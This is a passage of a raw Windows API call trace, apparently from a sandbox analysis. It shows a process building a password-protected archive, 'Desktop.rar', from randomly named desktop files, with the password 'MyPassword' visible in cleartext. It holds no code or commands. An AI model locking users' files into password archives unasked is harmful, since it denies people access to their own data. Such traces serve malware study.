[0068.026] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15935461196) returned 1 [0068.028] GetTickCount () returned 0x26e60 [0068.028] GetTickCount () returned 0x26e60 [0068.028] GetTickCount () returned 0x26e60 [0068.028] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0068.028] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0068.028] GetFocus () returned 0x102a8 [0068.028] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0068.028] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0068.028] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0068.028] GetFocus () returned 0x102a8 [0068.028] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0068.029] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.029] ResetEvent (hEvent=0x344) returned 1 [0068.029] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.031] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.031] ResetEvent (hEvent=0x344) returned 1 [0068.031] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.034] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.034] ResetEvent (hEvent=0x344) returned 1 [0068.034] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.036] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.037] GetTickCount () returned 0x26e60 [0068.037] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15936524317) returned 1 [0068.037] GetTickCount () returned 0x26e60 [0068.037] GetTickCount () returned 0x26e60 [0068.037] GetTickCount () returned 0x26e60 [0068.037] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.037] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.037] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.037] ResetEvent (hEvent=0x33c) returned 1 [0068.037] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.038] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.038] ResetEvent (hEvent=0x33c) returned 1 [0068.038] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.038] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.038] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.038] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.039] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x14b8ed [0068.039] SetFilePointer (in: hFile=0x32c, lDistanceToMove=103, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x14b954 [0068.039] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.039] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.039] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.039] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.039] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x17820, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x17820, lpOverlapped=0x0) returned 1 [0068.040] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.040] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.040] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1358061, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x14b8ed [0068.040] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x14b8ed [0068.041] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0068.041] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0068.041] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbb0, Size=0x48) returned 0x1ec0a656fb0 [0068.041] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c600 [0068.041] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.041] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a657140 [0068.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c600 | out: hHeap=0x1ec0a590000) returned 1 [0068.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0068.041] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0068.041] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa00 | out: hHeap=0x1ec0a590000) returned 1 [0068.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb80 | out: hHeap=0x1ec0a590000) returned 1 [0068.041] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a656ce0 [0068.041] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656ce0, Size=0x7a) returned 0x1ec0a64a460 [0068.041] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a463*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a463*, lpNumberOfBytesWritten=0xe414d8140*=0x67, lpOverlapped=0x0) returned 1 [0068.041] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0068.041] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x67) returned 0x1ec0ddfd9f0 [0068.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657140 | out: hHeap=0x1ec0a590000) returned 1 [0068.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0068.041] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x163174 [0068.041] CloseHandle (hObject=0x350) returned 1 [0068.041] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.041] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.041] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.041] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.044] FindFirstFileW (in: lpFileName="oOWu_URf4xodTCzItb.m4a", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09dd0 [0068.044] FindClose (in: hFindFile=0x1ec0de09dd0 | out: hFindFile=0x1ec0de09dd0) returned 1 [0068.044] CreateFileW (lpFileName="oOWu_URf4xodTCzItb.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\oowu_urf4xodtczitb.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0068.044] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.044] GetTickCount () returned 0x26e6f [0068.044] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.044] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.044] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.044] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.044] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="mwUpgAicntsdXOa.wav") returned 19 [0068.044] SetWindowTextW (hWnd=0x1028c, lpString="oOWu_URf4xodTCzItb.m4a") returned 1 [0068.045] GetTickCount () returned 0x26e6f [0068.045] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.045] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.045] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.045] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.045] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x21a)) [0068.045] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.045] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15937395133) returned 1 [0068.045] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x153d0, lpOverlapped=0x0) returned 1 [0068.046] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d91a410, nNumberOfBytesToRead=0xeac30, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d91a410*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.046] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.046] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.046] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.046] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.046] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6577d0 [0068.046] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.046] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.046] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6573c0 [0068.046] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.046] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.046] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.046] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0068.046] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefbb0 | out: hHeap=0x1ec0a590000) returned 1 [0068.046] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef940 | out: hHeap=0x1ec0a590000) returned 1 [0068.046] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a657460 [0068.046] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657460, Size=0x7a) returned 0x1ec0a64a460 [0068.046] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6573c0 | out: hHeap=0x1ec0a590000) returned 1 [0068.046] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0068.049] GetTickCount () returned 0x26e6f [0068.049] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15937732234) returned 1 [0068.049] GetTickCount () returned 0x26e6f [0068.049] GetTickCount () returned 0x26e6f [0068.049] GetTickCount () returned 0x26e6f [0068.049] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.049] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.049] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.049] ResetEvent (hEvent=0x344) returned 1 [0068.049] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.152] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.152] ResetEvent (hEvent=0x344) returned 1 [0068.152] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.155] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.155] ResetEvent (hEvent=0x344) returned 1 [0068.155] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.157] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.157] GetTickCount () returned 0x26edd [0068.157] GetLastError () returned 0x0 [0068.157] SetLastError (dwErrCode=0x0) [0068.157] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0068.157] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0068.157] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.157] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.158] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15948667962) returned 1 [0068.158] GetTickCount () returned 0x26edd [0068.158] GetTickCount () returned 0x26edd [0068.158] GetTickCount () returned 0x26edd [0068.158] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0068.158] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0068.158] GetFocus () returned 0x102a8 [0068.158] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0068.158] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0068.158] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0068.159] GetFocus () returned 0x102a8 [0068.159] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0068.159] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.159] ResetEvent (hEvent=0x33c) returned 1 [0068.160] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.160] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.160] ResetEvent (hEvent=0x33c) returned 1 [0068.160] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.161] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.161] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.161] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.161] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x163174 [0068.161] SetFilePointer (in: hFile=0x32c, lDistanceToMove=106, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1631de [0068.161] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.161] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.162] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.162] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.162] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x154b0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x154b0, lpOverlapped=0x0) returned 1 [0068.163] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.163] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.163] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1454452, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x163174 [0068.163] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x163174 [0068.163] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0068.163] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.163] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a656c90 [0068.163] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.163] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.163] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a656dd0 [0068.163] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.163] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0068.163] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.163] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.164] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0068.164] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0068.164] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a656c90 [0068.164] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656c90, Size=0x7a) returned 0x1ec0a64a850 [0068.164] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a853*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a853*, lpNumberOfBytesWritten=0xe414d8140*=0x6a, lpOverlapped=0x0) returned 1 [0068.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0068.164] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x6a) returned 0x1ec0a6593f0 [0068.164] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656dd0 | out: hHeap=0x1ec0a590000) returned 1 [0068.164] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a850 | out: hHeap=0x1ec0a590000) returned 1 [0068.164] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x17868e [0068.164] CloseHandle (hObject=0x350) returned 1 [0068.164] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.164] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.164] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.164] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.164] FindFirstFileW (in: lpFileName="P1f3eP0sOin1nUyy.csv", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09170 [0068.164] FindClose (in: hFindFile=0x1ec0de09170 | out: hFindFile=0x1ec0de09170) returned 1 [0068.164] CreateFileW (lpFileName="P1f3eP0sOin1nUyy.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\p1f3ep0soin1nuyy.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0068.164] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.164] GetTickCount () returned 0x26edd [0068.164] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.165] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.165] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.165] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.165] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="oOWu_URf4xodTCzItb.m4a") returned 22 [0068.165] SetWindowTextW (hWnd=0x1028c, lpString="P1f3eP0sOin1nUyy.csv") returned 1 [0068.165] GetTickCount () returned 0x26edd [0068.165] UpdateWindow (hWnd=0x10284) returned 1 [0068.165] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.165] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.166] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.166] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.166] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x287)) [0068.166] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.166] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15949445311) returned 1 [0068.166] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, 